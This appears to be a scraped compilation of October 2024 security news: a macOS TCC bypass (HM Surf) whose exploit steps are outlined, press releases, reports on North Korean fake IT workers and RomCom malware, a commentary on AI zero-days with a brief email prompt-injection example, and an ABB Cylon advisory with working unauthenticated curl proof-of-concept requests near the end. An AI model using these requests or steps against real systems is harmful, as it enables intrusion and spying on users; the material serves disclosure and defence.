Microsoft has disclosed details about a now-patched security flaw in Apple's Transparency, Consent, and Control (TCC) framework in macOS that has likely come under exploitation to get around a user's privacy preferences and access data.
The shortcoming, codenamed HM Surf by the tech giant, is tracked as CVE-2024-44133. It was addressed by Apple as part of macOS Sequoia 15 by removing the

Threat Intelligence / Browser Security

Microsoft has disclosed details about a now-patched security flaw in Apple's Transparency, Consent, and Control (TCC) framework in macOS that has likely come under exploitation to get around a user's privacy preferences and access data.

The shortcoming, codenamed HM Surf by the tech giant, is tracked as CVE-2024-44133. It was addressed by Apple as part of macOS Sequoia 15 by removing the vulnerable code.

HM Surf "involves removing the TCC protection for the Safari browser directory and modifying a configuration file in the said directory to gain access to the user's data, including browsed pages, the device's camera, microphone, and location, without the user's consent," Jonathan Bar Or of the Microsoft Threat Intelligence team said.

Microsoft said the new protections are limited to Apple's Safari browser, and that it's working with other major browser vendors to further explore the benefits of hardening local configuration files.

HM Surf follows Microsoft's discovery of Apple macOS flaws like Shrootless, powerdir, Achilles, and Migraine that could enable malicious actors to sidestep security enforcements.

While TCC is a security framework that prevents apps from accessing users' personal information without their consent, the newly discovered bug could enable attackers to bypass this requirement and gain access to location services, address book, camera, microphone, downloads directory, and others in an unauthorized manner.

The access is governed by a set of entitlements, with Apple's own apps like Safari having the ability to completely sidestep TCC using the "com.apple.private.tcc.allow" entitlement.

While this allows Safari to freely access sensitive permissions, it also incorporates a new security mechanism called Hardened Runtime that makes it harder to execute arbitrary code in the context of the web browser.

That said, when users visit a website that requests location or camera access for the first time, Safari prompts for access via a TCC-like popup. These entitlements are stored on a per-website basis within various files located in the "~/Library/Safari" directory.

The HM Surf exploit devised by Microsoft hinges on performing the following steps -

*   Changing the home directory of the current user with the dscl utility, a step that does not require TCC access in macOS Sonoma
*   Modifying the sensitive files (e.g., PerSitePreferences.db) within "~/Library/Safari" under the user's real home directory
*   Changing the home directory back to the original directory causes Safari to use the modified files
*   Launching Safari to open a web page that takes a snapshot via the device's camera and grab the location

The attack could be extended further to save an entire camera stream or stealthily capture audio through the Mac's microphone, Microsoft said. Third-party web browsers don't suffer from this problem as they do not have the same private entitlements as Apple applications.

Microsoft noted it observed suspicious activity associated with a known macOS adware threat named AdLoad likely exploiting the vulnerability, making it imperative that users take steps to apply the latest updates.

"Since we weren't able to observe the steps taken leading to the activity, we can't fully determine if the AdLoad campaign is exploiting the HM surf vulnerability itself," Bar Or said. "Attackers using a similar method to deploy a prevalent threat raises the importance of having protection against attacks using this technique."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Microsoft Reveals macOS Vulnerability that Bypasses Privacy Controls in Safari Browser

PRESS RELEASE

WASHINGTON, DC (October 15, 2024) – The Consortium for School Networking (CoSN) today announced that the Illinois Learning Technology Center (LTC), a program of the Illinois State Board of Education, has partnered with CoSN on a program to improve student data privacy practices in their school districts. By joining the CoSN Trusted Learning Environment (TLE) State Partnership Program, Illinois is helping to ensure that K-12 education institutions across the states are equipped with the necessary tools, training, and guidance to build and improve their school districts’ student data privacy programs.

LTC joins the North Carolina Department of Instruction and the South Carolina Department of Education in partnering with CoSN on this important work.

By subscribing to the TLE Partnership Program, LTC will be providing free TLE Seal applications to all districts in their state.  In addition, the TLE State Partnership Program makes available exclusive data privacy benchmarking reports that provide aggregate measures of the state’s district privacy programs compared with aggregate measures from TLE Seal recipients across 25 specific privacy practices, as well as CoSN’s student data privacy resources designed to support areas of growth for the districts in protecting the privacy of more than 1.85 million students. The CoSN TLE Seal is a national distinction awarded to school districts demonstrating a tangible commitment to protecting student data privacy through modern, rigorous policies and practices.

“Protecting student privacy is a top priority in Illinois. By joining CoSN’s Trusted Learning Environment State Partnership Program—a program backed by one of the leaders in the K-12 technology space—we can enhance our understanding of district privacy needs and offer stronger support," said Tim McIlvain, Executive Director of the Learning Technology Center. "We’re excited to provide 851 districts with access to CoSN’s expert guidance and resources, which will strengthen privacy protections for all Illinois students.”

CoSN’s TLE State Partnership Program provides state education agencies with: 

*   Exclusive state data privacy benchmarking reports that provide aggregated measures of district student data privacy practices as compared with those of current TLE Seal recipients.
    
*   Resources to support improvements across common areas of challenge for the states’ districts and updated benchmarking reports to measure improvements.
    
*   Unlimited free applications for the TLE Seal for districts in the state.
    

Additional supports can include student data privacy training and seats in CoSN’s Certified Education Technology Leader (CETL®) preparation and exam.

“With the increasing complexity of today’s technological environment, protecting student data privacy is imperative. We are delighted to welcome the Learning Technology Center of Illinois to the CoSN TLE State Partnership Program, and to providing Illinois districts with vital tools, training, and resources to help better protect their student information and foster a culture committed to enhancing privacy practices,” said Keith Krueger, CEO of the Consortium for School Networking.

As the only privacy framework designed specifically for K-12 school districts, earning the CoSN TLE Seal requires that districts have taken measurable steps to implement, maintain, and improve organization-wide student data privacy practices. All TLE Seal recipients are required to demonstrate that improvement through a reapplication process every two years.

About CoSN 

CoSN is the premier professional association designed to meet the needs of K-12 edtech leaders, their teams, and other district leaders. CoSN provides thought leadership resources, community, best practices, and advocacy tools to help edtech leaders succeed in the digital transformation. CoSN represents over 13 million students and continues to grow as a powerful and influential voice in K-12 education. For more information, visit CoSN.org.

About the CoSN Trusted Learning Environment State Partnership Program

The CoSN Trusted Learning Environment (TLE) State Partnership Program is designed to measure and improve district student data privacy practices across all districts in the state. Through survey-based benchmarking, CoSN is able to aggregate district privacy performance across the 25 requirements of the CoSN Trusted Learning Environment Seal Program. CoSN provides comparisons of these results to the aggregated results of TLE Seal recipients. CoSN then provides each  state with resources that are ready-made for its districts, providing guidance to improve the top three areas of weakness. The process is repeated on a cycle to continuously build up privacy practices across all districts. States are also provided with free TLE applications for all districts, providing the opportunity for districts to gain additional, customized feedback on their privacy programs and earn recognition for their efforts. For more information, visit CoSN.org/TLEpartner.

About the Learning Technology Center

The Learning Technology Center (LTC) is a state-wide organization dedicated to supporting schools and districts in Illinois with technology integration, professional development, and digital learning initiatives. Through innovative programs, expert guidance, and collaborative partnerships, the LTC empowers educators and administrators to leverage technology for improved teaching and learning outcomes. With a focus on areas such as artificial intelligence, digital citizenship, cybersecurity, and infrastructure, the LTC is committed to helping schools navigate the evolving landscape of educational technology. Learn more at ltcillinois.org.

Illinois Joins CoSN's Trusted Learning Environment (TLE) State Partnership Program for Student Data Privacy

PRESS RELEASE

Brussels, 16 October 2024 – Swift today announced that it is rolling out new AI-enhanced fraud detection to help the global payments industry step up its defence as bad actors grow increasingly sophisticated. Available from January 2025, the service is the result of extensive collaboration with banks from around the world and a successful pilot earlier this year.   

The new capability builds on Swift’s existing Payment Controls Service — used by many small and medium-sized financial institutions — by drawing on pseudonymised data from the billions of transactions that flow over the Swift network each year to identify and flag suspicious transactions so that action can be taken in real-time. 

The rollout is part of Swift’s broader collaboration with its global community of more than 11,500 banks and financial institutions to test how AI can solve cross-industry challenges. With global industry estimates putting the total cost of fraud in financial services at USD 485 billion in 2023 alone , Swift is focused on using AI to give financial institutions stronger and more accurate insights into instances of potentially fraudulent activity.

Jerome Piens, Chief Product Officer at Swift, said: “Bad actors are using increasingly sophisticated tactics to commit financial crime, and the global financial industry needs to raise its defences higher to ensure their customers can continue to transact globally with confidence. Swift has a long track record of supporting our community by staying one step ahead to maintain the security and resilience that our network is known for - and now we’re doing so again by harnessing the latest technology.”

Since February, Swift has been working with leading global financial institutions to explore how federated learning, combined with privacy-enhancing technologies, could enable market participants to share information without revealing their proprietary data. The group has so far developed a number of fraud detection use cases which are set to be tested in a sandbox environment. 

The rollout of this enhanced service is a key milestone in Swift’s strategic vision to make end to end international transactions instant and frictionless, while maintaining trust, security and compliance.

"Collaboration across the banking sector is crucial to enhancing fraud detection, and by sharing data and leveraging AI, we empower ourselves to stay ahead. At BNP Paribas, we are fully committed to supporting Swift’s innovative initiative in that regard, as it marks a key step forward in protecting the integrity of our financial ecosystem." 

Olivier Nautet, Head of Cybersecurity, BNP Paribas; Nicolas Trimbour, Head of Fraud Prevention, Cash Management, BNP Paribas, and Su Yang, Head of Artificial Intelligence, Transaction Banking, BNP Paribas

“Standard Bank Group, Africa’s biggest bank by assets, has participated in Swift’s initiative for AI fraud detection capability to enhance the security of its customers’ transactions. The technology will identify suspicious patterns in real-time, reducing fraud-risk and ensuring a safer banking experience for clients. By leveraging the power of AI, Standard Bank Group reaffirms its commitment to innovation and safeguarding the financial assets of its clients - who are our main asset.”  

John McHugh, Head Operations Control – CIB at Standard Bank

Swift to Launch AI-Powered Fraud Defence to Enhance Cross-Border Payments

North Korean hackers are infiltrating Western companies using fraudulent IT workers to steal sensitive data and extort ransom.…

North Korean hackers are infiltrating Western companies using fraudulent IT workers to steal sensitive data and extort ransom. Learn how to identify these deceptive tactics and protect your organization from this growing threat. Secureworks reveals the latest strategies employed by the North Korean threat group NICKEL TAPESTRY.

A recent report by cybersecurity firm Secureworks has exposed a disturbing but not-so-new tactic employed by North Korean hackers. They are infiltrating Western companies by posing as legitimate IT workers, stealing sensitive data, and then demanding ransom for its return. 

The mastermind behind this scheme is a North Korean hacking group known as Nickel Tapestry. The group operates from “laptop farms,” using stolen or falsified identities to fool HR departments at companies across the US, UK, and Australia. Often applying for developer positions, they utilize a variety of tactics to evade and conceal their identities/locations.

For instance, they request changes to delivery addresses for corporate laptops, often rerouting them to laptop farms, and sometimes they express a strong preference for using personal laptops and virtual desktop infrastructure (VDI) setups, a tactic previously warned by the FBI. This allows them to remotely access company networks without leaving a trace.

Also, they often exhibit “suspicious financial behaviours” such as frequent changes to bank account information or utilizing digital payment services to bypass traditional banking systems.

Additionally, the group uses residential proxy addresses and VPNs to mask their actual IP addresses. They also use “Splitcam” software during video calls to simulate video calls, avoiding the need to enable their webcams by creating fake AI clones of themselves. 

In one case, a fake worker gained access to a company’s network, exfiltrated sensitive data, and then – after being fired for poor performance – demanded a six-figure ransom for its return. This extortion element significantly increases the potential financial damage caused by these attacks. 

“The emergence of ransom demands marks a notable departure from prior NICKEL TAPESTRY schemes. However, the activity observed prior to the extortion aligns with previous schemes involving North Korean workers,” Secureworks’ Counter Threat Unit research team wrote in the report.

Perhaps most disturbing is the evidence of collaboration between these fake workers. They may provide fake references for each other, perform job duties on each other’s behalf, and even communicate via email while masquerading as different individuals. In one instance, researchers believe a single individual may have adopted multiple personas to further the scam.

Scam chain (Via SecureWorks)

****You’ve Been Warned!****

This IT worker scam isn’t new. Similar tactics have been observed since 2018, with fraudulent workers securing positions at Fortune 100 companies and funnelling stolen intellectual property back to North Korea to potentially fund weapons programs, including weapons of mass destruction.

In May 2022, the US government warned organizations to beware of North Korean hackers in the guise of IT freelancers claiming to be non-DPRK (Democratic People’s Republic of Korea) nationals.

In July 2024, North Korean hackers attempted another fake hiring scheme, this time targeting KnowBe4, a prominent U.S.-based cybersecurity company. In this case, a hacker posed as an IT worker and managed to secure employment with the company. The next step in the attack involved installing malware on a company-issued MacBook, intending to compromise KnowBe4’s systems.

****Protection Measures****

How can companies protect themselves from this evolving threat? Secureworks recommends thorough background checks and verification of candidate identities. Researchers suggest that a candidate’s work traits, such as applying for a full stack developer position, claiming 8-10 years of experience, and having novice to intermediate English skills, are the biggest red flags.

Additionally, unusual communication hours, varying communication styles, excuses for not enabling cameras during interviews, and a call center-like tone should trigger further investigation.

1.  **Feds Bust N. Korean Identity Theft Ring Targeting US Firms**
2.  **Hackers used fake job website to scam jobless US veterans**
3.  **Fake LinkedIn job offers scam spreading More\_eggs backdoor**
4.  **Fake GitHub Repos Caught Dropping Malware as PoCs AGAIN!**
5.  **Employee Duped by AI-Generated CFO in $25.6M Deepfake Scam**
6.  **Fake PoC Script Tricked Researchers into Downloading VenomRAT**

Fake North Korean IT Workers Infiltrate Western Firms, Demand Ransom

Plus, a zero-day vulnerability in Qualcomm chips, exposed health care devices, and the latest on the Salt Typhoon threat actor.

Thursday, October 17, 2024 14:00

When I first interviewed with Joel Esler for my position at Cisco Talos, I remember when the time came for me to ask questions, one thing stood out. I asked what resources were available to me to learn about cybersecurity, because I was totally new to the space.  

His answer: The people. When I asked that question, Joel told me that the entire office was a library for me. He told me to just ask as many questions as I could. 

Coming from journalism, where I was reporting on a range of topics from local government, finance and banking, art and culture, and sports, cybersecurity was totally new to me. Now almost seven years later, I’ve been able to host a podcast that went nearly 200 episodes, relaunch a cybersecurity newsletter, researched malicious Facebook groups trading stolen personal information, and I’ve even learned how to write a ClamAV signature. 

Unfortunately, this week is my last at Talos, but far from my last in cybersecurity. I’m off to a new adventure, but I wanted to take the space here to talk about what I’ve learned in my career at Talos.  

I think that this is a good lesson for anyone reading this: If you want to work in cybersecurity, you can, no matter what your background or education is. I’ve met colleagues across Talos who previously studied counterterrorism operations, German and Russian history, and political science. And I walked into my first day on the job knowing next to nothing about cybersecurity. I knew I could write, and I knew I could help Talos tell their story (and clean up the occasional passive voice in their blog posts). But I had never heard of a remote access trojan before.  

I hope these lessons resonate with you, your team, or the next person you think about hiring into the cybersecurity industry.  

1.  **You can’t do any of this without people.** This has become extraordinarily relevant this year with the advent of AI. I personally have beef with the term “AI” anyway because we’ve been using machine learning in cybersecurity for years now, which is essentially what we’re using the “AI” buzzword to mean now. But at the end of the day, people are what makes cybersecurity detection work in the first place. If you don’t have a team that’s ready to put in the work necessary to write, test and improve the intelligence that goes into security products (AI or not), you’re doomed. Any of these tools are only as good as the people who put the information into them. I’ve been beyond impressed with the experience, work ethic, and knowledge that everyone in Talos has. They are what makes the engine run, and none of this would work without them. 
2.  **You can carve out your own niche in cybersecurity.** That said, you don’t have to know how to code to work in cybersecurity if you don’t want to. Anyone can carve out their own niche in the space with their own skillset. I still barely know how to write Python, but I’ve been able to use the skills that I do have (research, writing, storytelling, audio editing, etc.) to carve out my space in cybersecurity. I can speak intelligently about security problems and solutions with my colleagues without needing to know how to reverse-engineer a piece of malware. And even on the technical side of things, everyone can carve out their own specialty. Talos has experts on email spam, and even specific types of email spam, that their colleagues may not know anything about. Others specialize in certain geographic areas because they can speak the language there and can peel back an additional layer that non-native speakers can’t.  
3.  **Be a sponge.** Going back to the opening of this week’s newsletter, I needed to ask hundreds of questions in my first few months at Talos. It took me a good amount of time to get over my fear of looking stupid, and that held me back early on from having more intelligent conversations with my teammates because I would keep questions inside or just assume that Google had the right answers. No matter how many years you’ve been in the security space, there is always something new to learn. Never assume you know everything there is to know on a given topic. If you are a sponge for information, you never know what new skills you can pick up along the way. When I graduated from college with a journalism degree, I never would have believed you if you told me at the time that I’d be needing to understand how atomic clocks keep power grids running. But here we are. 

The Threat Source newsletter will be off for a few weeks while it undergoes a revamp, and it’ll be back with a new look.  

I want to thank everyone who has enabled me to grow and shape this newsletter over the years, growing it to thousands of subscribers. And, of course, thanks to the readers who have engaged, read and shared over the years.  

**The one big thing **

Cisco Talos has observed a new wave of attacks active since at least late 2023, from a Russian-speaking group we track as “UAT-5647” against Ukrainian government entities and unknown Polish entities. The latest series of attacks deploys an updated version of the RomCom malware we track as “SingleCamper.” This version is loaded directly from the registry into memory and uses a loopback address to communicate with its loader. 

**Why do I care? **

UAT-5647 has long been considered a multi-motivational threat actor performing ransomware and espionage-oriented attacks. However, in recent months, it has accelerated its attacks with a clear focus on establishing long–term access for exfiltrating data of strategic interest to it. UAT-5647 has also evolved its tooling to include four distinct malware families: two downloaders we track as RustClaw and MeltingClaw, a RUST-based backdoor we call DustyHammock, and a C++-based backdoor we call ShadyHammock. 

**So now what? **

Cisco Talos has released several Snort rules and ClamAV signatures to detect and defend against the several malware families that UAT-5647 uses.  

**Top security headlines of the week **

**Government and security officials are still unraveling what to make of recent revelations around multiple Chinese-state-sponsored actors infiltrating U.S. networks.** Most recently, Salt Typhoon was unveiled as a new actor that may have accessed foreign intelligence surveillance systems and electronic communications that some ISPs collect. like Verizon and AT&T collect based on U.S. court orders. The actor reportedly accessed highly sensitive intelligence and law enforcement data. This followed on reports earlier this year of other Chinese state-sponsored actors Volt Typhoon and Flax Typhoon, which targeted U.S. government networks and systems on military bases. One source told the Wall Street Journal that the latest discovery of Salt Typhoon could be “potentially catastrophic.” The actor allegedly gained access to Verizon, AT&T and Lumen Technologies by exploiting systems those companies use to comply with the U.S. CALEA act, which essentially legalizes wiretapping when required by law enforcement. (Axios, Tech Crunch) 

**Chip maker Qualcomm says adversaries exploited a zero-day vulnerability in dozens of its chipsets used in popular Android devices.** While few details are currently available regarding the vulnerability, CVE-2024-43047, researchers at Google and Amnesty International say they are working with Qualcomm to remediate and responsibly disclose more information. Qualcomm listed 64 different chipsets as being affected by the vulnerability, including the company’s Snapdragon 8 mobile platform, which is used many Android phones, including some made by Motorola, Samsung and ZTE. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also added the issue to its Known Exploited Vulnerabilities catalog, indicating they can confirm it’s been actively exploited in the wild. Qualcomm said it issued a fix in September, and it is now on the device manufacturers to roll out patches to their customers for affected devices. (Android Police, Tech Crunch) 

**As many as 14,000 medical devices across the globe are online and vulnerable to a bevy of security vulnerabilities and exploits, according to a new study.** Security research firm Censys recently found the devices exposed, which “greatly raise the risk of unauthorized access and exploitation.” Forty-nine percent of the exposed devices are located in the U.S. America’s decentralized health care system is largely believed to affect the amount of vulnerable devices, because there is less coordinaton to isolate the devices or patch them when vulnerabilities are disclosed, unlike countries like the U.K., where the health care system is solely organized and managed by the government. The Censys study found that many of the networks belonging to smaller health care organizations used residential ISPs, making them inherently less secure. Others set up devices and connected them to the internet without changing the preconfigured credentials or leaving their connections unencrypted. Others had simply been misconfigured. Open DICOM and DICOM-enabled web interfaces that are intended to share and view medical images were responsible for 36 percent of the exposures, with 5,100 IPs hosting these systems. (CyberScoop, Censys) 

**Can’t get enough Talos? **

*   Attackers Delight: Why Does Healthcare See So Many Attacks? 
*   Ghidra data type archive for Windows driver functions 
*   Protecting major events: An incident response blueprint 

**Upcoming events where you can find Talos**

**MITRE ATT&CKcon 5.0** **(Oct. 22 - 23)** 

_McLean, Virginia and Virtual_

Nicole Hoffman and James Nutland will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as they take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics and procedures.

**it-sa Expo & Congress** **(Oct. 22 - 24)** 

_Nuremberg, Germany_

**White Hat Desert Con** **(Nov. 14)** 

_Doha, Qatar_

**misecCON** **(Nov. 22)** 

_Lansing, Michigan_

Terryn Valikodath from Cisco Talos Incident Response will explore the core of DFIR, where digital forensics becomes detective work and incident response turns into firefighting.

**Most prevalent malware files from Talos telemetry over the past week **

_There is no new data to report this week. This section will be overhauled in the next edition of the Threat Source newsletter._

What I’ve learned in my first 7-ish years in cybersecurity

As the unique challenges of AI zero-days emerge, the approach to managing the accompanying risks needs to follow traditional security best practices but be adapted for AI.

Dan McInerney, Lead AI Threat Researcher, Protect AI

October 17, 2024

3 Min Read

Source: Blackboard via Alamy Stock Photo

COMMENTARY

With artificial intelligence (AI) and machine learning (ML) adoption evolving at a breakneck pace, security is often a secondary consideration, especially in the context of zero-day vulnerabilities. These vulnerabilities, which are previously unknown security flaws exploited before developers have had a chance to remediate them, pose significant risks in traditional software environments.  

However, as AI/ML technologies become increasingly integrated into business operations, a new question arises: What does a zero-day vulnerability look like in an AI/ML system, and how does it differ from traditional contexts?

**Understanding Zero-Day Vulnerabilities in AI**

The concept of an "AI zero-day" is still nascent, with the cybersecurity industry lacking a consensus on a precise definition. Traditionally, a zero-day vulnerability refers to a flaw that is exploited before it is known to the software maker. In the realm of AI, these vulnerabilities often resemble those in standard Web applications or APIs, since these are the interfaces through which most AI systems interact with users and data. 

However, AI systems add an additional layer of complexity and potential risk. AI-specific vulnerabilities could potentially include problems like prompt injection. For instance, if an AI system summarizes one's email, then an attacker can inject a prompt in an email before sending it, leading to the AI returning potentially harmful responses. Training data leakage is another example of a unique zero-day threat in AI systems. Using crafted inputs to the model, attackers may be able to extract samples from the training data, which could include sensitive information or intellectual property. These types of attacks exploit the unique nature of AI systems that learn from and respond to user-generated inputs in ways traditional software systems do not.

**The Current State of AI Security**

AI development often prioritizes speed and innovation over security, leading to an ecosystem where AI applications and their underlying infrastructures are built without robust security from the ground up. This is compounded by the fact that many AI engineers are not security experts. As a result, AI/ML tooling often lacks the rigorous security measures that are standard in other areas of software development. 

From research conducted by the Huntr AI/ML bug bounty community, it is apparent that vulnerabilities in AI/ML tooling are surprisingly common and can differ from those found in more traditional Web environments built with current security best practices.

**Challenges and Recommendations for Security Teams**

While the unique challenges of AI zero-days are emerging, the fundamental approach to managing these risks should follow traditional security best practices but be adapted to the AI context. Here are several key recommendations for security teams: 

*   Adopt MLSecOps: Integrating security practices throughout the ML life cycle (MLSecOps) can significantly reduce vulnerabilities. This includes practices like having an inventory of all machine learning libraries and models in a machine learning bill of materials (MLBOM), and continuous scanning of models and environments for vulnerabilities. 
    

*   Perform proactive security audits: Regular security audits and employing automated security tools to scan AI tools and infrastructure can help identify and mitigate potential vulnerabilities before they are exploited. 
    

**Looking Ahead**

As AI continues to advance, so too will the complexity associated with security threats and the ingenuity of attackers. Security teams must adapt to these changes by incorporating AI-specific considerations into their cybersecurity strategies. The conversation about AI zero-days is just beginning, and the security community must continue to develop and refine best practices in response to these evolving threats. 

**About the Author**

Lead AI Threat Researcher, Protect AI

Dan McInerney is Lead AI Threat Researcher at Protect AI. He has 15 years of experience in red-team security, written dozens of security tools, and is a top-ranked Python GitHub developer. As a senior penetration tester, Dan has focused on novel attacks in emerging fields such as 3D printing and machine learning, and is credited with seven CVEs in AI tools. He teaches penetration testing and is a highly rated BlackHat instructor.

4 Ways to Address Zero-Days in AI/ML Security

The Russian threat actor known as RomCom has been linked to a new wave of cyber attacks aimed at Ukrainian government agencies and unknown Polish entities since at least late 2023.
The intrusions are characterized by the use of a variant of the RomCom RAT dubbed SingleCamper (aka SnipBot or RomCom 5.0), said Cisco Talos, which is monitoring the activity cluster under the moniker UAT-5647.
"This

Threat Intelligence / Malware

The Russian threat actor known as RomCom has been linked to a new wave of cyber attacks aimed at Ukrainian government agencies and unknown Polish entities since at least late 2023.

The intrusions are characterized by the use of a variant of the RomCom RAT dubbed SingleCamper (aka SnipBot or RomCom 5.0), said Cisco Talos, which is monitoring the activity cluster under the moniker UAT-5647.

"This version is loaded directly from the registry into memory and uses a loopback address to communicate with its loader," security researchers Dmytro Korzhevin, Asheer Malhotra, Vanja Svajcer, and Vitor Ventura noted.

RomCom, also tracked as Storm-0978, Tropical Scorpius, UAC-0180, UNC2596, and Void Rabisu, has engaged in multi-motivational operations such as ransomware, extortion, and targeted credential gathering since its emergence in 2022.

It's been assessed that the operational tempo of their attacks has increased in recent months with an aim to set up long-term persistence on compromised networks and exfiltrate data, suggesting a clear espionage agenda.

To that end, the threat actor is said to be "aggressively expanding their tooling and infrastructure to support a wide variety of malware components authored in diverse languages and platforms" such as C++ (ShadyHammock), Rust (DustyHammock), Go (GLUEEGG), and Lua (DROPCLUE).

The attack chains start with a spear-phishing message that delivers a downloader -- either coded in C++ (MeltingClaw) or Rust (RustyClaw) -- which serves to deploy the ShadyHammock and DustyHammock backdoors, respectively. In parallel, a decoy document is displayed to the recipient to maintain the ruse.

While DustyHammock is engineered to contact a command-and-control (C2) server, run arbitrary commands, and download files from the server, ShadyHammock acts as a launchpad for SingleCamper as well as listening for incoming commands.

Despite's ShadyHammock additional features, it's believed that it's a predecessor to DustyHammock, given the fact that the latter was observed in attacks as recently as September 2024.

SingleCamper, the latest version of RomCom RAT, is responsible for a wide range of post-compromise activities, which entail downloading the PuTTY's Plink tool to establish remote tunnels with adversary-controlled infrastructure, network reconnaissance, lateral movement, user and system discovery, and data exfiltration.

"This specific series of attacks, targeting high profile Ukrainian entities, is likely meant to serve UAT-5647's two-pronged strategy in a staged manner – establish long-term access and exfiltrate data for as long as possible to support espionage motives, and then potentially pivot to ransomware deployment to disrupt and likely financially gain from the compromise," the researchers said.

"It is also likely that Polish entities were also targeted, based on the keyboard language checks performed by the malware."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Russian RomCom Attacks Target Ukrainian Government with New SingleCamper RAT Variant

ABB Cylon Aspect version 3.08.01 allows an unauthenticated attacker to perform network operations such as ping, traceroute, or nslookup on arbitrary hosts or IPs by sending a crafted GET request to networkDiagAjax.php. This could be exploited to interact with or probe internal or external systems, leading to internal information disclosure and misuse of network resources.

    ABB Cylon Aspect 3.08.01 (networkDiagAjax.php) Remote Network Utility ExecutionVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The vulnerability allows an unauthenticated attacker to perform networkoperations such as ping, traceroute, or nslookup on arbitrary hosts or IPs bysending a crafted GET request to networkDiagAjax.php. This could be exploitedto interact with or probe internal or external systems, leading to internalinformation disclosure and misuse of network resources.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5844Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5844.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░          ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ $ curl "http://192.168.73.31/networkDiagAjax.php?command=nslookup&host=packetstormsecurity.org"<div>Server:    8.8.8.8<br>Address 1: 8.8.8.8 dns.google<br><br>Name:      packetstormsecurity.org<br>Address 1: 198.84.60.198 198-84-60-198.ash01.rokabear.com<br></div>$ curl "http://192.168.73.31/networkDiagAjax.php?command=ping&host=1.1.1.1"<div>PING 1.1.1.1 (1.1.1.1): 56 data bytes<br>64 bytes from 1.1.1.1: seq=0 ttl=53 time=61.176 ms<br>64 bytes from 1.1.1.1: seq=1 ttl=53 time=60.986 ms<br>64 bytes from 1.1.1.1: seq=2 ttl=53 time=100.660 ms<br><br>--- 1.1.1.1 ping statistics ---<br>3 packets transmitted, 3 packets received, 0% packet loss<br>round-trip min/avg/max = 60.986/74.274/100.660 ms<br></div>$ curl "http://192.168.73.31/networkDiagAjax.php?command=traceroute&host=127.0.0.1"<div>traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 38 byte packets<br> 1  localhost.localdomain (127.0.0.1)  0.019 ms  0.010 ms  0.009 ms<br></div>

ABB Cylon Aspect 3.08.01 networkDiagAjax.php Remote Network Utility Execution

Ubuntu Security Notice 7072-1 - Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

